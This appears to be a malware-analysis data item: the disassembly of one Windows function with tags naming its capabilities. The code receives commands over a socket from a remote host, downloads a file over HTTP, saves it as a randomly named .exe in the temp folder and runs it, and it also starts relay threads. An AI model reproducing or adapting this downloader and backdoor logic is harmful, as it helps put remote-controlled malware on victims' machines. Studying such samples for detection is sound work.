Function at 0x401ec9
Capabilities:
Create process on windows
Create process suspended
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff3c8
push ebx
push edi
push esi
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x670], eax
push 4
push 0x1000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x688], 0xa
push 0x320
lea eax, [ebp - 0x34c]
push eax
call fcn.00402cc9
push 0x320
lea eax, [ebp - 0x66c]
push eax
call fcn.00402cc9
mov dword [ebp - 0x2c], 0
push 6
push 1
push 2
push str.wsock32.dll
call fcn.00402d09
push str.socket
push eax
call fcn.00402ddd
call eax
mov dword [ebp - 0x34c], eax
push dword [ebp + 0xc]
push str.wsock32.dll
call fcn.00402d09
push str.htons
push eax
call fcn.00402ddd
call eax
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00402acc
push dword [ebp + 8]
call fcn.00402c8d
or eax, eax
je 0x401f95
mov eax, dword [ebp + 8]
jmp 0x401fb7
push 2
push dword [ebp + 8]
call fcn.0040283a
push eax
push str.wsock32.dll
call fcn.00402d09
push str.inet_ntoa
push eax
call fcn.00402ddd
call eax
push eax
push str.wsock32.dll
call fcn.00402d09
push str.inet_addr
push eax
call fcn.00402ddd
call eax
push 0
push 0
push dword [ebp + 8]
call fcn.00402acc
test eax, eax
je 0x4026f0
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x674], 1
lea eax, [ebp - 0x674]
push eax
push 0x8004667e
push dword [ebp - 0x34c]
push str.wsock32.dll
call fcn.00402d09
push str.ioctlsocket
push eax
call fcn.00402ddd
call eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x34c]
push str.wsock32.dll
call fcn.00402d09
push str.connect
push eax
call fcn.00402ddd
call eax
mov dword [ebp - 0x674], 0
lea eax, [ebp - 0x674]
push eax
push 0x8004667e
push dword [ebp - 0x34c]
push str.wsock32.dll
call fcn.00402d09
push str.ioctlsocket
push eax
call fcn.00402ddd
call eax
push 0
push 0xa
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x34c]
call fcn.00402ba1
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push str.wsock32.dll
call fcn.00402d09
push str.select
push eax
call fcn.00402ddd
call eax
cmp eax, 1
jne 0x4026f0
mov dword [ebp - 0x688], 0xa
mov dword [ebp - 0x680], 1
mov dword [ebp - 0x67c], 0x927c0
mov dword [ebp - 0x678], 0x4e20
push 0
push 0
lea eax, [ebp - 0x684]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x680]
push eax
push 0x98000004
push dword [ebp - 0x34c]
push str.ws2_32.dll
call fcn.00402d09
push str.WSAIoctl
push eax
call fcn.00402ddd
call eax
push 0
push 0x28
push 0x405bfc
push dword [ebp - 0x34c]
call fcn.00402762
push 0
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x34c]
call fcn.00402ba1
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push str.wsock32.dll
call fcn.00402d09
push str.select
push eax
call fcn.00402ddd
call eax
test eax, eax
jle 0x4026f0
mov edi, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 0
je 0x4021b1
xor eax, eax
mov ax, word [edi + 2]
sub eax, dword [ebp - 0x2c]
push 0
push dword [ebp - 0x2c]
lea eax, [eax + edi + 4]
push eax
push dword [ebp - 0x34c]
push str.wsock32.dll
call fcn.00402d09
push str.recv
push eax
call fcn.00402ddd
call eax
test eax, eax
jle 0x4026f0
sub dword [ebp - 0x2c], eax
jmp 0x40224b
push 0
push 4
push edi
push dword [ebp - 0x34c]
push str.wsock32.dll
call fcn.00402d09
push str.recv
push eax
call fcn.00402ddd
call eax
cmp eax, 4
jne 0x4026f0
push 4
push edi
push 0x28
push 0x405bfc
call fcn.00402a14
cmp word [edi + 2], 0
je 0x402231
xor ebx, ebx
mov bx, word [edi + 2]
push 0
push ebx
lea eax, [edi + 4]
push eax
push dword [ebp - 0x34c]
push str.wsock32.dll
call fcn.00402d09
push str.recv
push eax
call fcn.00402ddd
call eax
test eax, eax
jle 0x4026f0
cmp ax, word [edi + 2]
je 0x40224b
sub ebx, eax
mov dword [ebp - 0x2c], ebx
jmp 0x40224b
xor ebx, ebx
mov bl, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x34c], 0
je 0x40224b
mov dword [ebp + ebx*4 - 0x34c], 0
cmp dword [ebp - 0x2c], 0
jne 0x4026eb
cmp word [edi + 2], 0
je 0x4026eb
xor eax, eax
mov ax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x28
push 0x405bfc
call fcn.00402a14
xor ebx, ebx
mov bl, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x402638
mov ebx, dword [ebp - 0x28]
xor eax, eax
mov ax, word [ebx + 2]
mov byte [eax + ebx + 4], 0
push 0x3c
lea eax, [ebp - 0x6c4]
push eax
call fcn.00402cc9
mov dword [ebp - 0x6c4], 0x3c
lea eax, [ebp - 0x7c4]
mov dword [ebp - 0x6b4], eax
mov dword [ebp - 0x6b0], 0x100
lea eax, [ebp - 0xbc4]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], 0x400
lea eax, [ebp - 0x6c4]
push eax
push 0
push 0
lea eax, [ebx + 8]
push eax
push str.wininet.dll
call fcn.00402d09
push str.InternetCrackUrlA
push eax
call fcn.00402ddd
call eax
or eax, eax
je 0x4026eb
push 0
push 0x1c
push str.Microsoft_Internet_Explorer
call fcn.00402acc
push 0
push 0
push 0
push 0
lea eax, str.Microsoft_Internet_Explorer
push eax
push str.wininet.dll
call fcn.00402d09
push str.InternetOpenA
push eax
call fcn.00402ddd
call eax
push 0
push 0x1c
push str.Microsoft_Internet_Explorer
call fcn.00402acc
or eax, eax
je 0x402633
mov dword [ebp - 0xbc8], eax
mov edi, dword [ebp - 0x6b4]
mov ecx, dword [ebp - 0x6b0]
mov byte [ecx + edi], 0
xor edx, edx
mov dx, word [ebp - 0x6ac]
push 0
push 0
push 3
push 0
push 0
push edx
push dword [ebp - 0x6b4]
push dword [ebp - 0xbc8]
push str.wininet.dll
call fcn.00402d09
push str.InternetConnectA
push eax
call fcn.00402ddd
call eax
or eax, eax
je 0x402633
mov dword [ebp - 0xbcc], eax
mov edi, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x694]
mov byte [ecx + edi], 0
mov edx, 0x100
add edx, 0x80000000
cmp dword [ebp - 0x6b8], 4
jne 0x4023e1
add edx, 0x800000
add edx, 0x1000
add edx, 0x2000
push 0
push edx
push 0
push 0
push 0
push dword [ebp - 0x698]
push 0
push dword [ebp - 0xbcc]
push str.wininet.dll
call fcn.00402d09
push str.HttpOpenRequestA
push eax
call fcn.00402ddd
call eax
or eax, eax
je 0x402633
mov dword [ebp - 0xbd0], eax
cmp dword [ebp - 0x6b8], 4
jne 0x402458
mov dword [ebp - 0xbd4], 0x100
push 4
lea eax, [ebp - 0xbd4]
push eax
push 0x1f
push dword [ebp - 0xbd0]
push str.wininet.dll
call fcn.00402d09
push str.InternetSetOptionA
push eax
call fcn.00402ddd
call eax
push 0
push 0
push 0
push 0
push dword [ebp - 0xbd0]
push str.wininet.dll
call fcn.00402d09
push str.HttpSendRequestA
push eax
call fcn.00402ddd
call eax
or eax, eax
je 0x402633
mov dword [ebp - 0xbdc], 4
push 0
lea eax, [ebp - 0xbdc]
push eax
lea eax, [ebp - 0xbd8]
push eax
push 0x20000005
push dword [ebp - 0xbd0]
push str.wininet.dll
call fcn.00402d09
push str.HttpQueryInfoA
push eax
call fcn.00402ddd
call eax
or eax, eax
je 0x402633
push 4
push 0x1000
push dword [ebp - 0xbd8]
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0xbe0], eax
mov edi, eax
lea eax, [ebp - 0xbe4]
push eax
push 0x100
push edi
push dword [ebp - 0xbd0]
push str.wininet.dll
call fcn.00402d09
push str.InternetReadFile
push eax
call fcn.00402ddd
call eax
or eax, eax
je 0x402524
cmp dword [ebp - 0xbe4], 0
je 0x402524
add edi, dword [ebp - 0xbe4]
jmp 0x4024e5
sub edi, dword [ebp - 0xbe0]
cmp edi, dword [ebp - 0xbd8]
jne 0x402633
cmp edi, 0x400
jle 0x402633
mov edi, dword [ebp - 0x28]
mov word [edi + 2], 4
push 3
lea eax, [edi + 1]
push eax
push 0x28
push 0x405bfc
call fcn.00402a14
push 4
lea eax, [edi + 4]
push eax
push 0x28
push 0x405bfc
call fcn.00402a14
push dword [ebp - 0x670]
push 7
lea eax, [edi + 1]
push eax
push dword [ebp - 0x34c]
call fcn.00402762
push edi
push 0x200
call sub.kernel32.dll_GetTempPathA
push edi
call fcn.00402c21
lea edi, [eax + edi]
mov ax, 0x5c
stosb byte es:[edi], al
push 4
call fcn.00402ce0
lea ebx, [eax + 4]
push 0x18
call fcn.00402ce0
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x4025a9
mov ax, 0x2e
stosb byte es:[edi], al
mov ax, 0x65
stosb byte es:[edi], al
mov ax, 0x78
stosb byte es:[edi], al
mov ax, 0x65
stosb byte es:[edi], al
mov eax, 0
stosb byte es:[edi], al
push 0
push 2
push dword [ebp - 0xbd8]
push dword [ebp - 0xbe0]
push dword [ebp - 0x28]
call fcn.00402ed0
push 0x44
lea eax, [ebp - 0xc28]
push eax
call fcn.00402cc9
push 0x10
lea eax, [ebp - 0xc38]
push eax
call fcn.00402cc9
mov dword [ebp - 0xc28], 0x44
lea eax, [ebp - 0xc38]
push eax
lea eax, [ebp - 0xc28]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x28]
push 0
call sub.kernel32.dll_CreateProcessA
jmp 0x4026eb
cmp byte [edi], 0
jne 0x4026d2
push 4
push 0x1000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov esi, eax
push 0x180
push esi
push edi
call fcn.00402cb1
mov ecx, dword [ebp - 0x670]
lea edx, [ebp - 0x34c]
lea eax, [ebp - 0x66c]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
mov dword [esi + 0x188], ecx
mov dword [esi + 0x18c], edx
mov dword [esi + 0x190], esi
push 6
push 1
push 2
push str.wsock32.dll
call fcn.00402d09
push str.socket
push eax
call fcn.00402ddd
call eax
mov dword [ebp + ebx*4 - 0x34c], eax
push 0
push 0
push esi
push 0x401b63
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x66c], eax
jmp 0x4026eb
xor eax, eax
mov ax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x34c]
call fcn.00402762
jmp 0x402128
push dword [ebp - 0x34c]
call fcn.004027f7
lea esi, [ebp - 0x34c]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x402706
xor eax, eax
lea edi, [ebp - 0x66c]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
test ecx, ecx
jne 0x402712
dec dword [ebp - 0x688]
jne 0x401f08
push dword [ebp - 0x670]
call sub.kernel32.dll_ResetEvent
push dword [ebp - 0x670]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 0x28]
call sub.kernel32.dll_VirtualFree
mov eax, 0
pop esi
pop edi
pop ebx
leave
ret 8